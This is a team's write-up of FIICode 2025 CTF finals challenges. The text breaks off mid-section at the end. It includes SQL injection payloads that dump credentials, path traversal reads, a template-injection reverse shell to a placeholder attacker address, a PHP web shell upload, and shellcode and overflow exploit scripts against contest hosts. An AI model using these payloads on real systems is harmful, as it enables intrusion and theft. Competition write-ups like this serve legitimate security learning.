Post

FIICode 2025 Finals

FIICode 2025 Finals

Team members


image.png


Introduction

FIICode CTF 2025 marked the tenth anniversary of one of Romania’s premier student-run programming festivals, organized by the Computer Science Students’ Association in Iași (ASII) in partnership with the Faculty of Computer Science at “Alexandru Ioan Cuza” University. We had a lot of fun in this 24h CTF competition which truly tested our limits physically and mentally. The organizers really invested their time in making these challenges very mind-bending and we are looking forward to participating next year.

Eggsploit

Summary

SQLi → SSRF + LFI → SSTI

Step by step

On route http://192.168.30.181:5041/orders.php notice when putting ` that we get Error running query: unrecognized token: "'"

What’s more, looking into Burp Suite, we see <!-- <p>Executed Query: SELECT * FROM orders WHERE item LIKE '%'%'</p> -->. So, easy SQLi.

Walkthrough to first part of flag:

%' UNION SELECT 1 -- - - error (> 1 columns)

%' UNION SELECT 1,2 -- - - error (> 2 columns)

%' UNION SELECT 1,2,3 -- - - error (> 3 columns)

%' UNION SELECT 1,2,3,4 -- - - bingo

1
2
3
4
[id] =&gt; 1
[item] =&gt; 2
[quantity] =&gt; 3
[customer] =&gt; 4

%' UNION SELECT name, 2, 3, 4 FROM sqlite_master WHERE type='table' -- - - bingo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<tr>
<td>Array
(
[id] =&gt; flag
[item] =&gt; 2
[quantity] =&gt; 3
[customer] =&gt; 4
)
</td>
</tr>
<tr>
<td>Array
(
[id] =&gt; orders
[item] =&gt; 2
[quantity] =&gt; 3
[customer] =&gt; 4
)
</td>
</tr>
<tr>
<td>Array
(
[id] =&gt; sqlite_sequence
[item] =&gt; 2
[quantity] =&gt; 3
[customer] =&gt; 4
)
</td>
</tr>
<tr>
<td>Array
(
[id] =&gt; users
[item] =&gt; 2
[quantity] =&gt; 3
[customer] =&gt; 4
)
</td>
</tr>

%' UNION SELECT sql, 2, 3, 4 FROM sqlite_master WHERE tbl_name='flag' -- - - bingo

1
2
3
4
    [id] =&gt; CREATE TABLE flag (flag_pt_1 TEXT)
    [item] =&gt; 2
    [quantity] =&gt; 3
    [customer] =&gt; 4

%' UNION SELECT flag_pt_1, 2, 3, 4 FROM flag -- - - bingo

1
2
3
4
    [id] =&gt; FIICODE25{ch1ck3n
    [item] =&gt; 2
    [quantity] =&gt; 3
    [customer] =&gt; 4

%' UNION SELECT username || ':' || password, 2, 3, 4 FROM users -- -

1
2
3
4
    [id] =&gt; admin:Fall3nChicken
    [item] =&gt; 2
    [quantity] =&gt; 3
    [customer] =&gt; 4

Admin credentials: admin:Fall3nChicken

Dirsearch → admin.php

Classic SSRF

See placeholder URL http://127.0.0.1:5000

Make request → {"v2": "/api/v2/"}

[http://127.0.0.1:5000/api/](http://127.0.0.1:5000/api/v2)v2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
  "GET /api/v2/order": {
    "description": "Get a JSON order by base64-encoded ID.",
    "example": "/api/v2/order?id=MQ=="
  },
  "POST /ap1/v2/complaint": {
    "description": "Submit a complaint.",
    "example": {
      "curl": "curl -X POST http://host:5000/ap1/v2/complaint -H 'Content-Type: application/json' -d '{\"complaint\":\"this app sucks\"}'"
    }
  },
  "POST /api/v2/orders": {
    "description": "Submit a new order (auto ID assigned).",
    "example": {
      "curl": "curl -X POST http://host:5000/api/v2/orders -H 'Content-Type: application/json' -d '{\"customer\":\"ionut\",\"items\":[\"chicken leg\"]}'"
    }
  }
}

v2 huh? so v1?

[http://127.0.0.1:5000/api/](http://127.0.0.1:5000/api/v2)v1

1
2
3
4
5
6
7
{
  "GET /api/v1/order": {
    "description": "Get a JSON order by base64-encoded file name.",
    "example": "/api/v1/order?file=order_1.json"
  },
  "HINT": "Try Harder\nTry Harder\nTry Harder\n"
}

lfi

http://127.0.0.1:5000/api/v1/order?file=../../../../../../../etc/passwd → works

http://127.0.0.1:5000/api/v1/order?file=../../../../../../../flag → guessy …

1
2
3
4
Part2: _pwn_p13_tod4y

Hint for the last part:
Redis default port

^ this is intended, but I did it a bit differently. I will share my method.

so I didn’t think about flag in root. I thought flag.txt, or in home/karen. whatever

let’s solve with lfi only

http://127.0.0.1:5000/api/v1/order?file=../../../../../../../proc/7/cmdline

python30d6e4079e36703ebd37c00722f5891d28b0e2811dc114b129215123adcce3605.py

http://127.0.0.1:5000/api/v1/order?file=../../../../../../../proc/7/environ

HOSTNAME=b029467d23b5PWD=/apps/internalHOME=/rootSHLVL=0PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binOLDPWD=/var/www/html_=/usr/bin/python3

http://127.0.0.1:5000/api/v1/order?file=../../../../../../../apps/internal/0d6e4079e36703ebd37c00722f5891d28b0e2811dc114b129215123adcce3605.py

1
2
3
4
5
6
7
8
from flask import Flask, request, render_template_string

app = Flask(__name__)
FLAG = "Part3: _only_at_c0c0ric0}"
app.config['FLAG'] = "Part3: _only_at_c0c0ric0}"

AUTH_TOKEN = "supersecrettoken123"

Here I was like: wtf, part 3? as I did not have part 2. but we had ssti in this new file, so I used following payload: (replaced my ip with ATTACKERIP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin.php HTTP/1.1
Host: 192.168.30.181:5041
Content-Length: 340
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.30.181:5041
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.30.181:5041/admin.php
Accept-Encoding: gzip, deflate, br
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJDaGlja2VuTWFmaWEiLCJpYXQiOjE3NDc1MTI2MzQsImV4cCI6MTc0NzUxNjIzNCwidXNlcm5hbWUiOiJhZG1pbiJ9.z_e6_tCOOq2lOPFxuJo0sXgzyq4GM5hvittNEm7FX0I
Connection: keep-alive

url=http%3A%2F%2F127.0.0.1%3A6379%2Fdocument%3Fid%3D%257B%257B%2520cycler.__init__.__globals__.os.popen%2528%2522bash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252FATTACKERIP4%252F3000%25200%253E%25261%2527%2522%2529.read%2528%2529%2520%257D%257D%250A3&method=GET&headers=Authorization%3A+supersecrettoken123&body=

Once in rev shell, I found /flag and so completed the challenge.

I actually liked my method more, even if it was unintended.

FIICODE25{ch1ck3n_pwn_p13_tod4y_only_at_c0c0ric0}

Vibe Coder

Summary

JWT Secret in mixed case HTML tags → PHP File upload as mp3 → Upload web shell

Step by step

Notice on login page weird tags that have one uppercase letter. Extract all letters → ASIIRULS. Register with any account → Verify if that string is secret (it is) → Make new token with artist = 1

Find /dev route by dirsearch → upload.php

Take any mp3 and put it in correct format for request

Add a line in the middle with

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

and set file name to test.mp3%00.php

Then, access http://192.168.30.175:5054/resources/songs/test.mp3%2500.php?cmd=cat /flag.txt and voila

FIICODE25{lantur1_p3_php}

Message

Summary

Vigenere Cipher brute force in dcode

Step by step

Write down string in dcode, put in Cipher Identifier → Vigenere Cipher → Automatic Decryption → Voila

image.png

FIICODE25{CRYPTO}

Colors

Summary

5 green, 2 red → 5 good chars, 2 bad chars?

Step by step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def process_file(filepath):
    result = ""
    with open(filepath, 'r') as file:
        for line in file:
            line = line.strip()
            # Get characters at odd positions (index 0, 2, 4, 6, 8)
            odd_chars = line[::2]
            # Take only the first 5
            first_five_odd = odd_chars[:6]
            result += first_five_odd
    
    return result

if __name__ == "__main__":
    filepath = "a.txt"
    message = process_file(filepath)
    print("Extracted message:")
    print(message)

How? I noticed that if you take odd chars you get TUDOR and saw how last few chars are discarded on each row so I made the correlation. but I don’t know why you actually have to grab 6 instead of 5? In any case, I ran script, replaced _ with space and voila. Even though I don’t know why.

FIICODE25{TUDOR TOGHETER WITH HIS FRIENDS AND HIS TEACHERS WERE ABLE TO CREATE CTF EXERCICES FOR THIS ANNUAL CONTESTXD}

World War II

Summary

Morse code from WAV, ADFGX Cipher → Key encoded with Vigenere cipher → The rest is encoded with transposition cipher with said key

Step by step

Online morse code decoder from WAV file

3 suspicious strings. Longest one is being identified as ADFGX in dcode

Use SECONDWORLDWAR as keyword and RVDAYFTNLGXCPBQWHIOKUMZES as square grid

RHANRAENTPDNETTORASLDORDBISLEALANOTFTAOENTWIOOSERENFETTRIGOOEHRFCTHELLNUNLALRELMIRSEDPSHUYTTHDTREKEYDAIQ notice KEY and Vigenere hint in description

Take DAIQ and decode from Vigenere with AXIS password → DDAY

Remove keydaiq from string as it’s just the key

RHANRAENTPDNETTORASLDORDBISLEALANOTFTAOENTWIOOSERENFETTRIGOOEHRFCTHELLNUNLALRELMIRSEDPSHUYTTHDTRE

image.png

Try them all until Transposition Cipher works with DDAY. Bingo!

FIICODE25{BERLINHASFALLENRETREATALLREMAININGTROOPSTODEFENDTHEPARTSOFTHECOUNTRYTHATWESTILLHOLDDONOTSURRENDER}

ResidualEvidence

Summary

Windows ISO Installer with modified install.wim that contains 2 exe’s (one repeated 10 times in different folders), one encrypted exe in registry key and PNG’s

deceiver.png → Windows folder → Werewolf.exe → VanHelsing.exe (key 123 decimal aka 7B in hex) → inga.txt (decrypted with key) → Frankenstein.exe (base64 encoded and XOR’d with 7B 0D, found by XOR’ing with exe header)

Step by step

Extract the image file given, look in sources and see modified date for install.wim. Open in poweriso, select education (challenge description) and extract to folder.

Make Python script to highlight files that have been modified in 2025

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
📅 Files modified in 2025:
- Bob\Windows\System32\config\SOFTWARE (modified on 2025-05-11 20:44:41)
- Bob\Windows\System32\config\SOFTWARE{2ad8386c-efea-11ee-a54d-000d3a94eaa1}.TM.blf (modified on 2025-05-11 20:44:41)
- Bob\Windows\GameBarPresenceWriter\inga.txt (modified on 2025-05-11 20:21:20)
- Bob\Windows\System32\drivers\wretch.sys (modified on 2025-05-11 20:05:38)
- Bob\Windows\appcompat\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\apppatch\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\AppReadiness\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\DigitalLocker\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\ELAMBKUP\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\Fonts\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\GameBarPresenceWriter\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\Resources\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\schemas\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\Web\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\Werewolf.exe (modified on 2025-05-11 18:01:37)
- Bob\Users\Public\Downloads\beware_of_monsters.png (modified on 2025-05-11 17:58:04)
- Bob\Users\Public\Downloads\lets_take_a_short_walk.png (modified on 2025-05-11 17:53:17)
- Bob\Users\Public\Downloads\hello_there.png (modified on 2025-05-11 17:49:27)
- Bob\Windows\System32\config\SOFTWARE{2ad8386c-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms (modified on 2025-05-11 17:37:29)
- Bob\Windows\System32\config\SOFTWARE{2ad8386c-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms (modified on 2025-05-11 17:37:29)
- Bob\Users\Public\Downloads\deceiver.png (modified on 2025-05-11 14:24:20)

Extract the 4 images and notice that deceiver.png contains morse + characters? can’t make sense of them

Run exiftool: deceiver.png has data appended to it

Run xxd deceiver.png | tail and get

1
2
3
001d1f80: 616e 5f73 7461 7274 5f54 616b 655f 615f  an_start_Take_a_
001d1f90: 6c6f 6f6b 5f69 6e5f 7769 6e64 6f77 735f  look_in_windows_
001d1fa0: 666f 6c64 6572 82                        folder.

Sure, off to Windows we go.

We have 2 binaries: Werewolf.exe and VanHelsing.exe

Find:

1
2
  RegGetValueA(HKEY_LOCAL_MACHINE, "Software\\VanHelsing", "Inga", 0x10u, 0LL, &pvData, &pcbData);
  if ( pvData == 123 )

(Keep in mind 123 for later)

We have 10 folders modified recently. Each appears in werewolf.exe.

GameBarPresenceWriter has inga.txt. Encrypted with XOR with key 7B (123 in decimal).

1
2
"Invention, it must be humbly admitted, does not consist in creating out of void, but out of chaos."
What a strange substracting mail client... 

Boot up Registry Explorer & load SOFTWARE hive:

image.png

image.png

Last modified file: wretch.sys in Drivers

image.png

The wretch value in the registry is base64 encoded and when decoded and xor’d with “7b 0d” gives another binary which does absolutely nothing

How did I think about 7b 0d? I saw the repeating patterns in the base64 which suggested binary, and along with the first 2 bytes, I thought about XOR’ing with MZ (.exe header) and got 7B 0D. XORing with that resulted in a working .exe file.

image.png

image.png

FIICODE25{7ou_re_not_@fr@id_ar3_n_t_yo$?_just_look_b3hind_y@u}





VeilOfObfuscarion

Summary

Inversion of four-layer obfuscation applied to the input.

Step by step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from Crypto.Cipher import AES

seed    = 0x0DEADBEEFC0FFEE            # qword_4010
rc4_key = b"FIXEDRC4KEY1234\x00"       # byte_2130 ^ 0xAA
aes_key = b"AESCHALLENGEKEY\x00"       # byte_2120 ^ 0x5A

hex_str = (
    "21212121212121212121212121212121212121215f3d7444396d40563a4224285b2470385230722a45"
    "756566362a57354b6169235630394a2349734c7138266d722c3f5c365a423c44743e712c2663284e5"
    "9676f38356d6347756e53386469676b44633b00"
)

# 1) HEX → bytes, then strip exactly one trailing 0x00
data = bytes.fromhex(hex_str)
if data and data[-1] == 0:
    data = data[:-1]

# 2) Custom Base-85 decode (5 bytes → 4 bytes)
def base85_decode(blob: bytes) -> bytes:
    out = bytearray()
    for i in range(0, len(blob), 5):
        v = 0
        for c in blob[i:i+5]:
            v = v * 0x55 + (c - 33)
        out.extend(v.to_bytes(4, 'big'))
    return bytes(out)

cipher_full = base85_decode(data)

# 3) AES-CBC decrypt (zero IV), skip 16-byte zero prefix, strip PKCS#7
cipher = AES.new(aes_key, AES.MODE_ECB)
cts = cipher_full[16:]     
pt  = bytearray()
prev = b'\x00' * 16
for i in range(0, len(cts), 16):
    block = cts[i:i+16]
    dec   = cipher.decrypt(block)
    pt.extend(x ^ y for x, y in zip(dec, prev))
    prev = block
pad_len = pt[-1]
pt = pt[:-pad_len]

# 4) RC4 decrypt (symmetric)
def rc4_decrypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256)); j = 0
    # KSA
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 0xFF
        S[i], S[j] = S[j], S[i]
    # PRGA + XOR
    out = bytearray(); j = 0
    for idx, b in enumerate(data, start=1):
        j = (j + S[idx & 0xFF]) & 0xFF
        S[idx & 0xFF], S[j] = S[j], S[idx & 0xFF]
        ks = S[(S[idx & 0xFF] + S[j]) & 0xFF]
        out.append(b ^ ks)
    return bytes(out)

step4 = rc4_decrypt(pt, rc4_key)

# 5) Invert PRNG-XOR (with 64-bit wraparound before mod)
def undo_prng_xor(data: bytes, seed: int) -> bytes:
    M = 0x7A2F274EECA94AC2
    out = bytearray(); v7 = seed
    for c in data:
        v9 = ((v7 * v7) & 0xFFFFFFFFFFFFFFFF) % M
        out.append(c ^ (v9 & 0xFF))
        v7 = v9
    return bytes(out)

flag = undo_prng_xor(step4, seed)
print("Recovered flag:", flag.decode("ascii"))

I spotted the four distinct layers in the decompiled code: a custom PRNG-XOR loop, an RC4 stage with a 16-byte key from .rodata ^ 0xAA , an AES-CBC stage(key from .rodata ^ 0x5A, zero IV, PKCS#7), and finally a Base64 → hex dump.

By dumping and XOR-ing the two 16-byte arrays I got exact ASCII keys("FIXEDRC4KEY1234" and "AESCHALLENGEKEY").

The only pitfalls were stripping exactly one null before Base-85 decoding (so (c–33) never goes negative) and emulating the 64-bit overflow in Python’s PRNG inversion (& 0xFFFFFFFFFFFFFFFF).

Taking all these steps into consideration, we get the flag:

FIICODE25{1f_1t_w3r3_that_3asy_1t_wouldn_t_be_a_chall3ng3}

LFSRk

Summary

Four output bytes + a brute-force over the 2¹⁶ = 65536 possible states of the first register are enough to break the implementation.

Step by step

  1. Collect the keystream

    Call the public procedure Trans four times and record the four output bytes $Z_1, Z_2, Z_3, Z_4$(32 bits total).

  2. Size the search space for LFSR1

    The first register is 17 bits long, but bit 9 is hard-wired to 1 during Init.

    Only 16 bits remain unknown → $2^{16} = 65536$ candidate states.

  3. Simulate each candidate state

    For every one of those 65536 states, run LFSR1 for 32 clocks (4 × 8) and note the four bytes $x_0,x_1,x_2,x_3$ it would output.

  4. Derive LFSR2’s bytes

    Use the public rule

    $Z_i = (x_i+y_i+c_i)\space\space\space(mod\space\space 256)$

    (updating the carry each time) to recover the corresponding bytes $y_0,y_1,y_2,y_3$ produced by LFSR2.

  5. Reconstruct LFSR2’s initial state

    The first 25 bits of the $y$-stream form a full-rank linear system over GF(2); solving it yields a single viable 25-bit state.

    Verify it by checking that it continues to generate the rest of the $y$-stream; otherwise reject the current LFSR1 candidate.

  6. Stop at the first match

    As soon as one candidate passes the check in step 5, both registers are known and the whole keystream(hence any ciphertext) can be reproduced.

    The attack finishes after at most 65536 such candidate trials

Since the decisive effort is those 65536 simulations, the required step count—and therefore the flag is

FIICODE25{65536}

XOR

Summary

Because the encryption is byte-wise XOR with a random one-time pad, every ciphertext byte is C = M ⊕ K.

Step by step

If you already know part of the plaintext (the victim’s name + account) you can recover the corresponding key bytes and re-encrypt any other text of the same length. That lets an attacker substitute his own name and(almost all of) his account number without ever learning the whole key. The flag therefore has to encode the two pieces of information that matter:

1
2
3
4
5
FIICODE25{
   nume_persoana_cont_persoana   -> the part we know
   _xor_
   nume_adversar_cont_adversa    -> the part we inject
}
  1. Grab the known key bytes:

Kseg = Cseg ⊕ (nume_persoana‖cont_persoana)

  1. Forge new data of the same length (except the final byte):

forge = nume_adversar‖cont_adversa # same number of bytes as we know

  1. Replace the segment inside the packet

C′seg = Kseg ⊕ forge full_ciphertext = C[0:start] ‖ C′seg ‖ C[end:]

Flag:

FIICODE25{nume_persoana_cont_persoana_xor_nume_adversar_cont_adversa}

Reverse Poetry

Summary

The file result.bin is the poem run through four homemade encoders, then concatenated.

Step by step

Each encoder is fully reversible because it only:

  • permutes bytes with a key that can be recomputed, or
  • XOR-s bytes with a keystream(XOR is its own inverse), o
  • maps bytes to printable symbols through a 1-to-1 lookup table.

By isolating the four chunks and applying the inverse of each encoder in reverse order, we retrieve the plaintext poem.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import struct

def mc(s, bits=32):
    v = 0
    for c in s.encode():
        v = (v << 8) | c
    return v & ((1 << bits) - 1)

YO   = mc("YO")
DUDE = mc("DUDE")
KEY1 = 0xFA29516E
BAU  = mc("BAU", 16)

def dec1(b):
    d = bytearray(b)
    n = len(d)
    k = struct.unpack_from("<I", d, n - 4)[0]
    struct.pack_into("<I", d, n - 4, k ^ KEY1)
    for i in range(n - 4):
        enc = d[i]
        for v in range(256):
            if (v * (k + YO) + DUDE) & 0xFF == enc:
                d[i] = v
                break
        k = ((k << 8) | (k >> 24)) & 0xFFFFFFFF
    return bytes(d)

def dec2(b):
    d = bytearray(b)
    n = len(d)
    k = ((d[0] << 8) ^ d[-1] ^ BAU) & 0xFFFF
    for i in range(1, n - 2, 2):
        w = d[i] | (d[i + 1] << 8)
        w ^= k
        d[i]     =  w & 0xFF
        d[i + 1] = (w >> 8) & 0xFF
    return bytes(d)

def dec3(b):
    d = bytearray(b)
    n = len(d)
    p = n // 4
    idx = [n % p, n % (p + 2), n % (p + 7), n % (p + 11)]
    k = idx[0] | (idx[1] << 8) | (idx[2] << 16) | (idx[3] << 24)
    pos = 0
    while pos < n:
        if pos in idx:
            pos += 1
            continue
        d[pos] ^= ((k % 15) * 16 + (k // 16)) & 0xFF
        k = ((k << 4) | (k >> 28)) & 0xFFFFFFFF
        pos += 1
    return bytes(d)

ABC  = b"q1w2e3r4t5y6u7i8o9p0-=_+{}[]|asdfghjkl;':zxcvbnm,./<>?"
L    = len(ABC)
LOOK = {c: i for i, c in enumerate(ABC)}

def dec4(b):
    if len(b) & 1: raise ValueError
    out = bytearray(len(b) // 2)
    for i in range(0, len(b), 2):
        x = LOOK[b[i]]
        y = LOOK[b[i + 1]]
        out[i // 2] = x * L + y
    return bytes(out)

DELIM = b"\r\n\r\n"
B0    = 0x83

def split(data):
    b0, rest = data[:B0], data[B0:]
    s = set(ABC)
    cut = len(rest)
    while cut and rest[cut - 1] in s:
        cut -= 1
    if (len(rest) - cut) & 1:
        cut -= 1
    b3, mid = rest[cut:], rest[:cut]
    for g in range(4, len(mid) - 4, 2):
        if dec2(mid[:g]).endswith(DELIM):
            return b0, mid[:g], mid[g:], b3
    raise RuntimeError("block-split failed")

def main():
    raw = open("result.bin", "rb").read()
    b0, b1, b2, b3 = split(raw)
    poem = (dec1(b0) + dec2(b1) + dec3(b2) + dec4(b3)).rstrip(b"\0").decode()
    print(poem)

if __name__ == "__main__":
    main()

Result in terminal:

1
2
3
4
Out of the night that covers me,
Black as the pit from pole to pole,
...
I am the captain of my soul.

Searching for these lines, the flag is revealed:

FIICODE25{invictus}

Bleed The Freak

Summary

The binary leaks the address of a user-supplied buffer and has an executable stack(NX is off). By combining the buffer leak with a classic shellcode injection and ret-to-stack, we overwrite the return address and land directly in our code to pop a shell.

Step by step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# Remote service
host, port = '192.168.30.181', 5004
p = remote(host, port)

# Parse the leak
line     = p.recvline_contains(b"Buffer starts here")
buf_addr = int(line.split()[-1], 16)
log.info(f"leaked buf addr = {hex(buf_addr)}")

# Calculate offset
offset = 142    # found via cyclic pattern

# Build shellcode payload
sc      = asm(shellcraft.sh())        # ~25-byte /bin/sh shellcode
pad     = offset - len(sc)
payload = sc + b"\x90"*pad + p32(buf_addr)

# Send and get shell
p.send(payload)
p.interactive()
  1. Leak: The program prints Buffer starts here 0x…, so we know exactly where our input lands on the stack.
  2. Offset: A cyclic‐pattern crash shows that the saved return address lives 142 bytes from the start of our buffer.
  3. Shellcode: Since the stack is executable, we drop a small Linux/x86 execve(/bin/sh) stub at the front of our input and pad the rest with NOPs.
  4. Ret-to-stack: We overwrite EIP with the leaked buffer address, so execution jumps right into our shellcode.

Once the shell spawns, run cat /flag.txt to retrieve the flag:

FIICODE25{pwn_stal3y}

PINCODE

Summary

An arbitrary ascending-digit PIN $P$ always maps to 2017 after Tudor’s “999×→digit-sum→insert” transformation.

Step by step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import itertools

def transform(pin):
    # 1) Multiply by 999
    P   = int(pin)
    A   = P * 999

    # 2) Sum the digits of A
    S   = str(sum(map(int, str(A))))
    s1, s2 = S[0], S[1]

    # 3) Insert all digits < s1 between s1 and s2
    insert = ''.join(str(d) for d in range(int(s1)))
    return f"{s1}{insert}{s2}"

# Brute-force all ascending-digit PINs of length ≥2
all_pins = (
    ''.join(map(str, comb))
    for L in range(2, 10)
    for comb in itertools.combinations(range(10), L)
)

# Check they all map to "2017"
assert all(transform(pin) == "2017" for pin in all_pins)
print("Verified: every ascending-digit PIN → 2017")

The flag is:

FIICODE25{2017}

LABIRINT

Summary

Each maze-file is either plain-text (only the very first one) or RC-4-encrypted with a key equal to the CRC-32 of the shortest solution of the previous maze, written as an 8-digit, zero-padded, uppercase ASCII hex string. By solving a maze with BFS, hashing the resulting "UDLR…" path, and using that hash as the key for the next file, we can chain our way through the eight series (64 mazes total). The CRC-32 obtained after the last maze in folder 8_2401 is the archive password and therefore the flag.

Step by step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from collections import deque
from pathlib     import Path

TABLE = []
for i in range(256):
    crc = i
    for _ in range(8):
        crc = (crc >> 1) ^ (0xEDB88320 if crc & 1 else 0)
    TABLE.append(crc)

def crc32_ctf(s: str) -> int:
    crc = 0xFFFFFFFF
    for b in s.encode():
        crc = (crc >> 8) ^ TABLE[(crc ^ b) & 0xFF]
    return crc        

def rc4(key_ascii: str, data: bytes) -> bytes:
    S = list(range(256))
    j = 0
    k = key_ascii.encode()
    for i in range(256):
        j = (j + S[i] + k[i % len(k)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    out = bytearray()
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(byte ^ S[(S[i] + S[j]) % 256])
    return bytes(out)

DIRS = [(-1,0,'U'), (1,0,'D'), (0,-1,'L'), (0,1,'R')]

def shortest_path(maze_str: str) -> str:
    grid = [list(line.rstrip('\r'))
            for line in maze_str.splitlines()
            if line and line[0] in '#.SX']
    h, w = len(grid), len(grid[0])
    for r in range(h):
        for c in range(w):
            if grid[r][c] == 'S': start = (r,c)
            if grid[r][c] == 'X': goal  = (r,c)

    q, parent, move = deque([start]), {start: None}, {}
    while q:
        r,c = q.popleft()
        if (r,c) == goal:
            path = []
            while parent[(r,c)]:
                path.append(move[(r,c)])
                r,c = parent[(r,c)]
            return ''.join(reversed(path))
        for dr,dc,ch in DIRS:
            nr,nc = r+dr, c+dc
            if 0<=nr<h and 0<=nc<w and grid[nr][nc]!='#' and (nr,nc) not in parent:
                parent[(nr,nc)] = (r,c)
                move  [(nr,nc)] = ch
                q.append((nr,nc))
    raise ValueError('No path')

def solve_folder(folder: Path, incoming_key: str) -> str:
    key = incoming_key             
    for k in range(8):
        data = (folder / f'in_{k}.bin').read_bytes()
        if key:                  
            data = rc4(key, data)
        maze  = data.decode('ascii')   
        sol   = shortest_path(maze)
        key   = f'{crc32_ctf(sol):08X}'
        (folder / f'out_{k}.bin').write_text(sol) 
    return key

root = Path('.')                            
series = ['1_21','2_101','3_301','4_501',
          '5_1001','6_1501','7_2001','8_2401']

next_key = None                           
for idx, folder in enumerate(series):
    print(f'=== Series {idx+1} ===')
    next_key = solve_folder(root/folder, next_key or '')
    print('  key for next =', next_key)

flag = f'FIICODE25{{{next_key}}}'
print('\nFLAG =', flag)

The script chains through 64 mazes by treating every in_k.bin(except the very first) as RC4-encrypted with a key equal to the CRC-32(init=0xFFFFFFFF, no final XOR) of the previous maze’s shortest “UDLR…” path, written as an 8-char uppercase hex string. It precomputes a CRC table (crc32_ctf), defines rc4(key_ascii, data) to decrypt with that ASCII key, and shortest_path(maze_str) to run a 4-way BFS, backtrack from X to S, and return the unique minimal move string.

solve_folder() loops k=0…7, reads in_k.bin, runs RC4 if a key exists, decodes, solves, writes out_k.bin, then updates the key to crc32_ctf(solution):08X. The main loop passes this key through folders 1_218_2401; after the last maze it prints FIICODE25{<final_CRC>}, which is the ZIP password and flag:

FIICODE25{66C13A39}

SongOftheSilentCanary

Summary

The binary reads a 4-byte magic (0xCAFEBABE), then calls __fread_chk with a 260-byte bound into a 256-byte buffer. By requesting to read 257 bytes, we overflow exactly one byte into the adjacent v9 variable, satisfy its checks, and trigger the code path that opens and prints /flag.txt.

Step by step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import struct

MAGIC    = 0xcafebabe
OVERLEN  = 257           # tiny overflow
FILLER   = b'A' * 256
OVERBYTE = b'\x01'       # sets v9 low‐byte ≠ 0

payload = (
    struct.pack('<I', MAGIC)  +  # 0–3: magic
    b'XXXX'                    +  # 4–7: junk for the first fread’s second half
    struct.pack('<I', OVERLEN) +  # 8–11: v6 for second fread
    FILLER                     +  # 12– (12+255): buffer fill
    OVERBYTE                     # 1-byte overflow into v9
)

with open('exploit.bin','wb') as f:
    f.write(payload)

print(f"Exploit is {len(payload)} bytes")

Magic check

The program begins by calling fread(&v7, 4, 2), expecting two 4-byte values. We pack the first value as 0xCAFEBABE so that the comparison v7 == 0xCAFEBABE succeeds and execution continues.

Length setup

Next it reads a 4-byte unsigned integer (v6) and passes that into __fread_chk with a built-in limit of 260 bytes. By choosing v6 = 257, we stay under the 260-byte bound yet read one byte past the 256-byte buffer, overflowing into the adjacent v9 variable.

Overflow and conditions

Our payload provides 256 filler bytes (e.g. b'A'*256) followed by a single non-zero byte (\x01). That extra byte lands in the low byte of v9, satisfying (_BYTE)v9 != 0 while leaving the high-bit check (v9 & 0x10000) == 0 untouched.

Flag retrieval

